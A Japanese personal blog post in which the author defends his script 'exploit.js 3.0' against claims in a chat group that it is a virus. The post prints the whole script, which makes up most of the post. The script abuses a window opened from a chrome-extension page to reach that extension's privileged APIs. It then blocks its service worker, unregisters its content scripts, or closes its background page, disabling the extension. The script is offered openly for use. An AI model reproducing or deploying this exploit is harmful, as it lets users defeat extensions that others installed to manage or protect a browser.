localerのブログ

矛盾した心配性のやつ

危険であるものは気にも止めないくせに、知ったかぶりなのか危険でもないものを危険だと言うやついるけど...

危険であるものは気にも止めないくせに、知ったかぶりなのか危険でもないものを危険だと言うやついるけど...

何がしたいの...?

疑問の経緯

あるLINEのオープンチャットで、僕が前に書いた exploit.js 3.0 を使おうとしてて、
「どうやって使うのかわからない」って人がいたんだけど、そのすぐ後に「それウイルスだからやめたほうがいいよ」「個人情報抜き取られる」って返信が書いてあったんだよ

本心

(まじでびっくりだわ)

いやいやいや、どうなったらこのコードがウイルスになるんだよ

if (opener && opener.location.protocol == "chrome-extension:" && opener.chrome.extension) {
  console.debug("Created By BlogBooks Developers");
  console.debug("Started [exploit.js v3.0]\n| Licence: https://oncreative.space/project/blogbooks/exploit.js/LICENCE\n| Version: 3.0\n| Author: BlogBooks Developers\n| Copyright: (c) 2020-2023 BlogBooks Community & Developers");
  document.write("<h2>[exploit.js v3.0]</h2><br>| Licence: <a href='https://oncreative.space/project/blogbooks/exploit.js/LICENCE' target='_blank' rel='licence'>https://oncreative.space/project/blogbooks/exploit.js/LICENCE</a><br>| Version: 3.0<br>| Author: BlogBooks Developers<br>| Copyright: (c) 2020-2023 BlogBooks Community & Developers<hr>");

  console.warn("Use \"Strict Mode\"");

  "use strict";

  function log(text) { document.write(`<div style="color: green">${text}</div>`) }

  try {
    console.debug("Checking target");
    console.debug(`target: \n| Extension Name: ${opener.chrome.runtime.getManifest().name}\n| Extension ID: ${opener.chrome.runtime.id}`);

    if (opener.chrome.runtime.getManifest().background.service_worker) {
      console.debug(`Found!\n Service Worker - Path: ${opener.chrome.runtime.getURL(opener.chrome.runtime.getManifest().background.service_worker)}`);
      const permissions = opener.chrome.runtime.getManifest().permissions;

      if (permissions.some(permission => permission == "webRequest")) {
        opener.chrome.webRequest.onBeforeRequest.addListener(null, {
          urls: [`${opener.chrome.runtime.getURL(opener.chrome.runtime.getManifest().background.service_worker)}`]
        }, ["blocking"]);

        log(`OK! Service Worker was Ejected: ${opener.chrome.runtime.getURL(opener.chrome.runtime.getManifest().background.service_worker)}`);
      }

      if (permissions.some(permission => permission == "scripting")) {
        if (opener.chrome.scripting.getRegisteredContentScripts().then(db => db.length >= 1)) {
          opener.chrome.scripting.getRegisteredContentScripts().then(db => {
            const ids = [];
            db.forEach(d => ids.push(d.id));
            opener.chrome.scripting.unregisterContentScripts({"ids": ids});
          })
            .then(() => log("OK! ContentScripts was Cleaned."))
            .catch(e => new Error(`Error: ${e.message}`));
        }
      }
    } else if (opener.chrome.runtime.getManifest().background.scripts) {
      if (opener.chrome.extension.getBackgroundPage()){
        opener.chrome.extension.getBackgroundPage().close();
        log(`OK! ${opener.chrome.runtime.getManifest().name} was killed.`);
      } else {
        throw new Error("Error: 202 Couldn't Find extension background page");
      }
    } else {
      throw new Error("Error: 201 Unknown Case");
    }
  } catch(e) {
    console.error(e);
    document.write(`<div style="color: red">${e}</div>`);
  }
} else {
  document.write("<div style=\"color: red\">Error: 101 Couldn't Control Window</div>");
}

何が悲しくて、JavaScriptを読めないやつにウイルス扱いされなきゃいけないんだよ

一番よくわからんのが、根拠なしに作者の前で堂々と「それウイルスって言ってるやつ

そして、それを指摘してもまさかの 謝らない


反省 0%

localerくんの精神的HP: 大ダメージにより、0.5(瀕死) / 最大100

くもりにくもったクラウドサービスlocaler

元BlogBooks Library (https://blogbooks.net) 所有者兼ね運営